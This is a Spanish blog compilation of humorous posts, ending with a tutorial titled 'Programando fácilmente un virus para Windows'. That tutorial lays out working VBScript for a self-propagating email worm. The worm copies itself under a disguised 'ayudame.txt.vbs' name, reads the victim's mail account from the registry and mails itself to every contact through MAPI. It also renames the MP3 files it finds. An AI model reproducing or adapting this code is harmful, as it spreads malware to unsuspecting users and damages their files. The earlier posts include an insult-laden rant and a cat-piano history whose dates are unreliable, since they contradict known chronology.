De imbéciles autorreferentes y otras formas de vida inteligente

Imbécil soy
Resulta que recibo, por enésima vez, el correo de la Virgen de Guadalupe de los huevos, que no tengo nada en contra de ella, pera ya me cae gorda, y eso que que ni la conozco a la buena mujer. Un hoax de esos de no rompas la cadena que te mueres fijo, la Virgen milagrosa te manda una desgracia y serás un puto desdichado para el resto de tus días. Pues vaya unos cojones de Virgen, me pregunto yo, que si no continúas un correo encadenado te condena al más fatal de los infortunios. Cómo está el clero 2.0, jesusmariayjosé.
El caso es que, la que me lo envía, es una amiga de toda (o casi toda) la vida, licenciada cum laude y con una orla impresa en papel gordito, de esos que se pueden enmarcar con portada de cristal y colgar de la pared para beneplácito de tus visitas hogareñas. Una gafotas empollona, vamos.
A mí, las cosas no me importan de qué calado son, tanto como de quién proceden, porque etiqueto a las personas por su educación y sapiencia, que no por sus estudios, que a veces difieren bastante de lo que son capaces de soltar por la boca. Entonces, en un arrebato de esos de lobo feroz, me da por contestar al hoax, pero no a ella sola, sino a todos los contactos que aparecían anejados en el correo dichoso (por joder, sin más). Porque sí, se lo remitió a todo cristo, sin copias ocultas ni nada de eso que sabemos los paletos que no tenemos estudios.
Respondiendo. Me extraña, querida mía (esto era para putear), que una persona de tu pulcra erudición (esto también) se deje engañar por bulos como éste que dejan a la altura de un barrizal al Homo sapiens y a su supuesta inteligencia sobresaliente. No creo que seas ajena a los cientos de hoax que pululan por Internet y que procuran embaucar a tontos de baba por el simple hecho de molestar o zaherir, así que te conmino a que aparques tu errada disposición y dejes de palpar las gónadas sexuales del que escribe para dedicarte a otros hilvanes que no menoscaben la sensatez de mi inteligencia.
La respuesta fue desproporcionada, a la par que deficiente (mental). ¡Tú eres tonto! Allá tú y lo que piensas, pero como la Virgen te castigue, luego no me vengas a reclamar. Por supuesto que soy consciente de bulos que circulan por ahí, ¿pero, qué pierdes con reenviar un puñetero correo a diecinueve personas en los próximos diez días, eh? Como rompas la cadena y te pase algo, no quiero que me eches la culpa a mí. Tú sabrás.
Anonadado ando desde ese día. ¿Qué habrías hecho tú si te encontraras en similar situación? Pues, como mínimo (supongo), escribir una entrada en tu blog ciscándote en la madre que parió a esta calaña de rameras del embuste y de la filfa; ralea del infundio y gente de la estofa de los farsantes, cuentistas y embusteros. Pues en ello estoy: me cago en tu progenitora que, la pobre, no tuvo culpa de engendrar una aberración tal, que echa para atrás con tan sólo oírla berrear por ese hocico anormalidades de semejante calibre.
Si Dios existe, y la Virgen también, cosa que, no es que dude, es que celebraría, así se te presenten cien años de penurias por hacer caso de correos de y para tontos del culo. Aunque lo más seguro es que tu ignorancia te provoque más desgracia en esta vida que en la venidera.
Fin del post, amiga; desde ahora, ex amiga. Como decía el profesor en la peli de ‘South Park’: Está bien, ahora a ver si contesta alguien que no sea un retrasado mental.
teknoPLOF! caído por un ataque hacker

Team A6
La verdad es que ha sido obra de un tío muy jaranero y campechano que consiguió robar las claves de acceso al hosting (todavía no me explico cómo) y se paseó durante un buen rato por el panel de control del blog, toqueteando por aquí y por allá. Creó un subdominio, una cuenta FTP redirigida a dicho subdominio y una cuenta de correo que colocó como contacto principal del proveedor (qué cachondo). Además, se curró un deface de la web bastante siniestro, al más puro estilo hacker de los noventa. También modificó el idioma del panel de control (supongo que para entenderse él en el trance), y me las vi y me las deseé para encontrar las cosas (no, no era inglés).
Desde estas líneas sólo, pedir mil disculpas a los lectores que han estado intentando entrar y no han podido, y también a los sindicalistas del RSS que no han logrado recibir los feed con normalidad (que tampoco había ninguna actualización, así que no se han perdido nada) o los han recibido repetidos. Los mismo para los tuiteros.
Un relieve sospechoso en tu teclado

Relieve bajo la 'F'
Los expertos en mecanografía, es decir, los que no escriben con tres dedos como yo, conocerán el significado de estos relieves a la perfección. Pero me he percatado últimamente de que muchas personas desconocen para qué sirven y cuál es su función. Los podéis encontrar en todos los teclados informáticos y, también, en la mayoría de las antiguas máquinas de escribir.
Cuando se aprende mecanografía (o tipeo, como dicen al otro lado del charco) lo primero que te enseñan es la correcta colocación de las manos sobre el teclado: los dedos de la mano izquierda sobre las teclas [A], [S], [D] y [F] (desde el meñique hasta el índice, en ese orden), y los de la mano derecha encima de las teclas [J], [K], [L] y [Ñ] (desde el índice al meñique, en ese orden). Los pulgares descansan sobre la barra espaciadora.
Con esta posición, ambos dedos índices quedan sobre la [F] y la [J], es decir, justo encima de las líneas en relieve. En realidad, estos relieves sirven de guía para escribir sin mirar al teclado, pues posicionar las manos con la vista en otro lugar resulta sencillo en cuanto se encuentran los resaltes con las yemas de los dedos. Asimismo, al palpar el relieve de estas teclas, tenemos una orientación precisa de la ubicación de todas las demás.
El resalte de la tecla [5] en el teclado numérico tiene la misma misión, localizar rápidamente el centro del teclado sin necesidad de mirar para, desde ahí, acceder a los distintos guarismos de manera mecánica.
Los teléfonos móviles (o celulares) disponen también de un relieve saliente en la tecla central [5] (al igual que los teclados numéricos de los ordenadores). Ya te veo corriendo a por el teléfono para comprobarlo pero, por favor, si tienes un smartphone con pantalla táctil y teclado por software no pierdas el tiempo, no vas a encontrar el resalte (y si lo encuentras, vende el teléfono en eBay por no menos de seis mil euros).
Sin más.
Un piano retro hecho con gatos atormentados

Piano de gatos
El piano en cuestión consistía en una adaptación del mecanismo de cuerda percutida que, en lugar de aporrear alambres afinados, punzaba (o estiraba) colas de gatitos, convenientemente encerrados en pequeñas jaulas y dispuestos según la tonalidad de sus maullidos de dolor. Los mininos venían a cubrir una octava, generalmente, aunque existen grabados de pianos de gatos con menos de ocho felinos y, otros, con hasta dieciséis (dos octavas de puro calvario).
El instrumento fue también descrito, en el siglo XVII, por el compositor y escritor experto en temas musicales Jean-Baptiste Weckerlin en su libro ‘Musiciana, extraits d’ouvrages rare ou bizarre‘ (Musiciana, descripciones de inventos raros o extraños). Según este buen hombre, cuando el Rey de España Felipe II de Austria estuvo en Bruselas, en 1549, visitando a su padre, el emperador Carlos V de Alemania (Carlos I de España), ambos se admiraron de una procesión callejera totalmente singular. Lo que más les llamó la atención fue una carroza que portaba la música más extraordinaria que pudiera imaginarse. Un oso tocaba un órgano que, en lugar de tubos, montaba dieciséis pequeños gatos, con su cuerpo encerrado, cuyas colas, atadas, asomaban para ser tocadas como las cuerdas de un piano. Al presionar una tecla en el teclado, la cola correspondiente sufría un tremendo tirón, produciendo un aullido lamentable, pero muy bien entonado.
Este tipo de piano fue, asimismo, reseñado por el médico y psicoanalista alemán Johann Christian Reil en el siglo XVI. Este individuo propuso la utilización del piano de gatos para tratar pacientes que habían perdido la capacidad de enfocar su atención, es decir, aquejados de lo que se conoce como trastorno por déficit de atención con hiperactividad, o TDAH. Reil pensaba que si estos enfermos se veían obligados a ver y escuchar este instrumento, sería inevitable captar su atención y se curarían. Todo un tratado médico infame y vil de los que tanto gustaban los galenos de la época.

Otras representaciones de pianos de gatos
No se conoce realmente quién fue el creador de tan miserable invención, como tampoco es seguro que en algún momento de la historia de construyera un piano de esta naturaleza. Lo que resulta chocante es el desprecio por la vida y el sufrimiento animal que se tuvo en determinado momento histórico por aquellos que se hacían llamar racionales a sí mismos.
Atanasio Kircher, en su escrito anteriormente comentado, asegura que con el objeto de subir el ánimo a un príncipe italiano agobiado por las preocupaciones propias de su cargo, un músico de la corte creó para él un piano de gatos, suponiendo que su majestad de él sanaría de su pesadumbre, pues «¿a qué no ayudaría, sino a reír, una música así?«, sentenciaba. Se dice que de esta forma fue como el príncipe abandonó su melancolía. Es evidente: ocho gatos torturados hasta la extenuación ayudan a levantar el ánimo a cualquiera (a cualquiera que sea un hijo de la gran puta de cuna y linaje).
El estudio de animación profesional The People’s Republic Of Animation lanzó en 2009 su film ‘The cat piano‘, un cortometraje que cuenta la historia de una ciudad de gatos cuyos cantantes son secuestrados por un ser humano con el fin de hacer un piano de gatos. La obra recibió varios premios, así como una preselección a las nominaciones al Oscar de mejor animación, que luego no consiguió.
Recuerda, cada vez que leas esta entrada, Dios mata a un gatito. Ni el mismísimo Domo-kun es tan cabrón con los pobrecicos michos. Que lo sepas.
Programando fácilmente un virus para Windows

Windows virii
Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software están hoy día al alcance de cualquiera. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fáciles de aprender y rápidos de implementar.
Los archivos de proceso por lotes de MS-DOS (ficheros de extensión .BAT) fueron aquellos grandes olvidados en la programación de virus. No obstante, los expertos en su diseño vieron en ellos una alternativa veloz y potente para desarrollar malware, y algún bicho codificado de aquella forma llegó a ver la luz, eso sí, sin gran incidencia.
Posteriormete, y gracias al procesamiento por lotes integrado en Windows a través de su herramienta de administración Windows Scripting Host (rebautizada en su segunda versión como Windows Script Host), los desarrollos víricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje, permitía generar virus mortíferos en horas o, incluso (dependiendo de la pericia del programador) en minutos.
Windows Script Host (WSH) es una utilidad administrativa que se provee con todas las versiones del sistema operativo del tío Bill desde Windows 98. En principio, su utilidad se basa en la generación de archivos de lotes, sin embargo, la potencia de estos ficheros con respecto a los antiguos ficheros batch es muy superior. La fortaleza reside en dos conceptos primordiales: los lenguajes de programación que implementa y los objetos del sistema que es capaz de manejar.
WSH permite utilizar en la actualidad un amplio abanico de motores de script en su desarrollo, a saber: VBScript, JScript, PerlScript, ooRexx Script, Python Script, Tcl Script, Active PHP Script, Ruby Script, Object Rexx engine y Delphi scripting engine. Cualquier programador con conocimientos básicos de prácticamente cualquier lenguaje puede desarrollar un script para WSH. Asimismo, estos archivos de guión son capaces de acceder a características varias de un sistema operativo tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el árbol de directorios, software instalado, Internet, archivos, etcétera. Una herramienta potente y un arma de doble filo.
Lo que se propone aquí es una introducción al entorno WSH a través de aplicaciones en VBScript, el lenguaje de guión más sencillo e intuitivo, hermano pequeño torpe de Visual Basic. Como todo tutorial de programación que se precie, es preceptivo comenzar con una aplicación "Hola mundo", si no esto ni es tutorial ni es nada. Los archivos de script se escriben como texto plano sin formato en cualquier editor al uso (como Bloc de notas, por ejemplo). El código, con métodos del propio WSH y en formato VBScript, es el que sigue:
Mostrar códigoOcultar código
WScript.Echo "Hola mundo"
WScript.Quit
El objeto WScript proporciona el acceso a la raíz del modelo principal de objetos de WSH. No necesita ser declarado antes ser invocado, pues sus métodos y propiedades están siempre disponibles desde cualquier script. El método Echo muestra el cuadro de mensaje típico de Windows con un texto que se corresponde con la cadena alfanumérica que se le pasa como argumento ("Hola mundo"). Por último, el método Quit termina el script, forzándolo a parar su ejecución.
¿Sencillo, verdad? Este archivo lo debemos guardar con la extensión .VBS y, para ejecutarlo, sólo es necesario un doble clic en el icono correspondiente (o una llamada desde la línea de comandos de la consola).
Si hubiésemos deseado generar un fichero JScript, los métodos no habrían variado, pues son propios del WSH, sin embargo la sintaxis habría sido sutilmente distinta:
Mostrar códigoOcultar código
WScript.Echo ("Hola mundo");
WScript.Quit ();
Este archivo, para que funcionara correctamente, habríamos de guardarlo con extensión .JS.
Prosiguiendo con nuestra fatídica infección vírica, vamos a avanzar un paso más. Necesitamos conocer el idioma del sistema operativo, por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante:
Mostrar códigoOcultar código
Dim WSc, IdiomaActual
Set WSc = CreateObject("WScript.Shell")
Sub Idioma ()
Dim LeerRegistro
LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Control _
Panel\International\iCountry")
Select Case LeerRegistro
Case 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58
IdiomaActual = 1
Case 1,44
IdiomaActual = -1
Case Else
IdiomaActual = 0
End Select
End Sub
Tras la declaración inicial de variables se asigna a WSc el objeto WScript.Shell, que permite acceder al registro, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos líneas están fuera del procedimiento Sub porque necesitamos que sean declaraciones globales a todo el script (las utilizaremos después también).
El procedimiento Sub Idioma () permite leer la clave de registro que necesitamos mediante el método RegRead de WScript.Shell y almacenarla en la variable local LeerRegistro. En función del valor que guarde iCountry, se asignará un 1, un -1 o un 0 a la variable global IdiomaActual, que después necesitaremos para cribar nuestra infección. En el caso de que IdiomaActual valga 1, el payload (efecto visible del virus) será en castellano (se corresponde con los códigos locales de todos los países sudamericanos más España); en el caso de que IdiomaActual valga 1, el payload será en inglés (Estados Unidos más Gran Bretaña); en el caso de IdiomaActual valga 0 (no se ha podido determinar el idioma), el payload será también en inglés, por si las moscas.
Una vez obtengamos el idioma en el que está configurado el equipo que deseamos infectar, vamos a generar una copia del virus en el directorio del sistema para, desde ahí, enviarlo a los contactos de correo electrónico de la máquina víctima:
Mostrar códigoOcultar código
Dim FSO, ArchivoAdjunto
Set FSO = CreateObject("Scripting.FileSystemObject")
Sub CopiaMe ()
Dim DirectorioSistema
Set DirectorioSistema = FSO.GetSpecialFolder (1)
Set ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName)
Select Case IdiomaActual
Case 1
ArchivoAdjunto.Copy (DirectorioSistema & "\ayudame.txt.vbs")
ArchivoAdjunto = DirectorioSistema & "\ayudame.txt.vbs"
Case 0,-1
ArchivoAdjunto.Copy (DirectorioSistema & "\helpme.txt.vbs")
ArchivoAdjunto = DirectorioSistema & "\helpme.txt.vbs"
End Select
End Sub
Después de crear las variables globales pertinentes, generamos el objeto FileSystemObject, de la librería de tipos (localizada en el archivo Scrrun.dll), y lo almacenamos en la variable FSO. Este objeto posibilita el acceso a la gestión de carpetas y archivos (crear, copiar, mover, eliminar…).
Ya dentro del procedimiento Sub, asignamos a DirectorioSistema el resultado de GetSpecialFolder (1), esto es, la localización de los archivos de sistema (directorio por defecto Windows\System). Ese 1 indica carpeta de sistema; 0 sería el directorio general Windows y 2 el directorio temporal Temp.
La propiedad ScriptFullName (sólo lectura) de WScript devuelve el nombre completo (ruta y nombre de archivo) del script actual mediante el método GetFile de FileSystemObject. Este nombre se guarda en la variable ArchivoAdjunto.
Recurriendo a la variable global anterior IdiomaActual, copiamos (Copy) nuestro virus (ArchivoAdjunto) a la carpeta de sistema con un nombre en castellano (máquinas hispanoparlantes) o en inglés (máquinas anglosajonas).
El proceso de ocultación de este tipo de virus es bien sencillo, así como tremendamente ineficaz en según que configuraciones. Bien es sabida la capacidad de los entornos Windows para ocultar las extensiones de tipos de archivos conocidos (activada por defecto). Así pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, .txt, seguida de la extensión de rigor para el archivo de script (.vbs). De esta manera, y sólo si la característica de ocultación de extensiones está activada, el receptor del malware visualizará únicamente el nombre del archivo (en este caso ayudame.txt o helpme.txt), creyendo que lo que le remiten es un simple archivo de texto (¿nadie mira los iconos?). La sorpresa será mayúscula al momento de ejecutarlo.
El siguiente paso es obtener los datos de la cuenta de correo electrónico de la víctima:
Mostrar códigoOcultar código
Dim ServidorSMTP, NombreCuenta, Correo
Sub Cuenta()
Dim LeerRegistro, NuevaClave
WSc.RegWrite "HKEY_CURRENT_USER\Software\Microsoft _
\Windows Script Host\Settings\Timeout",0,"REG_DWORD"
LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Software\ _
Microsoft\Internet Account Manager\Default Mail Account")
NuevaClave = "HKEY_CURRENT_USER\Software\Microsoft _
\Internet Account Manager\" & "Accounts\" & LeerRegistro
ServidorSMTP = WSc.RegRead (NuevaClave & "\SMTP Server")
NombreCuenta = WSc.RegRead (NuevaClave & "\Account Name")
Correo = WSc.RegRead (NuevaClave & "\SMTP Email Address")
End Sub
Mediante un acceso al registro igual al anterior, extraemos la clave que guarda el nombre de la cuenta de correo por defecto (Mail Account) y generamos una nueva cadena con otra clave de registro más el nombre de la cuenta. De esta nueva clave leemos y almacenamos la dirección del servidor SMTP de correo saliente, el nombre de la cuenta y la dirección de correo electrónico.
Lo ideal ahora sería actuar sobre las reglas de mensaje del software cliente de correo electrónico, eliminándolas para que permitan el envío sin cortapisas. No nos detendremos en ello por no alargar más el asunto, pero el código no sería para nada complicado, teniendo en cuenta que se encuentran definidas y almacenadas también en el registro de Windows (las de Outlook Express 5, por ejemplo, en HKEY_CURRENT_USER\Identities\XXXX\Software\Microsoft\Outlook Express\5.0\Rules\Mail).
Una vez recabados todos los datos, vamos a enviar nuestro virus por correo electrónico:
Mostrar códigoOcultar código
Sub Enviando ()
Set MAPISession = CreateObject ("MSMAPI.mapiSession")
Set MAPIMessage = CreateObject ("MSMAPI.mapiMessages")
Dim i
MAPISession.LogonUI = False
MAPISession.DownloadMail = False
MAPISession.SignOn
Set MAPIAddress = MAPISession.AddressList (0)
For i = 1 To MAPIAddress.AddressEntries.Count
MAPIAddress.AddressEntries (i)
MAPIMessage.SessionId = MAPISession.SessionId
MAPIMessage.Compose
MAPIMessage.RecipDisplayName = "<<a href="mailto:atacante@virus.soy">atacante@virus.soy</a>>"
MAPIMessage.MsgSubject = "Asunto del mensaje"
MAPIMessage.MsgNoteText = "Cuerpo del mensaje"
MAPIMessage.AttachmentIndex = 0
MAPIMessage.AttachmentPathName = ArchivoAdjunto
MAPIMessage.AttachmentPosition = 0
MAPIMessage.Send (0)
Next i
MAPISession.SignOff
End Sub
En este procedimiento Sub, simplemente nos servimos de MAPI (en castellano Interfaz de Programación de Aplicaciones de Mensajería) para enviar el correo con el archivo adjunto. Los métodos que proporciona MAPI son lo suficientemente claros y se explican por sí mismos (iniciar sesión, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesión). El envío se remite a todos los contactos de la cuenta de correo en cuestión mediante un bucle que los recorre desde el primero hasta el último (MAPIAddress.AddressEntries.Count).
Y, para finalizar, nos queda por programar el payload del virus, esto es, la acción visible (o no visible) que se ejecutará en la máquina infectada. El payload de un virus corre a cargo de la imaginación de cada uno. En función del hijoputismo con el que deseemos actuar, la acción final de un virus puede ir desde la simple molestia de mostrar un mensaje en pantalla, hasta la eliminación de archivos vitales para el usuario o para el sistema operativo (librerías .DLL, ficheros multimedia .MP3 o .AVI, documentos .DOC, .XLS o .MDB, fotografías .JPG, etcétera).
Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestro payload simplemente mostrará un mensaje en pantalla y renombrará todos aquellos ficheros en formato MP3 que encuentre exclusivamente en el directorio raíz del disco duro principal. Así de sencillito:
Mostrar códigoOcultar código
Sub Payload ()
Dim Carpeta, ArchivoMP3
WScript.Echo "Soy un virus malo malísimo."
Set Carpeta = FSO.GetFolder ("C:\")
For Each ArchivoMP3 in Carpeta.Files
If Right (ArchivoMP3.Name, 3) = LCase ("mp3") Then
FSO.MoveFile ArchivoMP3.Path, Replace ("C:\" & _
ArchivoMP3.Name, ".mp3", ".vir")
End If
Next
End Sub
Mediante el método GetFolder de FileSystemObject, declarado anteriormente, asigno a la variable Carpeta la ruta especificada para, después, recorrer todos los archivos de esa ruta (Carpeta.Files) mediante un bucle (For Each... Next) comprobando si su extensión es la que busco (Right (ArchivoMP3.Name, 3) = LCase ("mp3")). En caso afirmativo, renombro (FSO.MoveFile) cada fichero, cambiando su extensión de .MP3 a .VIR.
La programación de virus al alcance de cualquiera es una realidad desde hace ya muchos años. Pero otra cosa también, la policía no es tonta y conocerá al cien por cien quién ha programado un virus, cuándo lo liberó en Internet y dónde apareció por primera vez. ¿Cómo lo hacen? De eso nos ocuparemos otro día. Hack the planet!, pero poquito y con cuidadín, que hacer el mal por hacer el mal es de bobos patológicos.

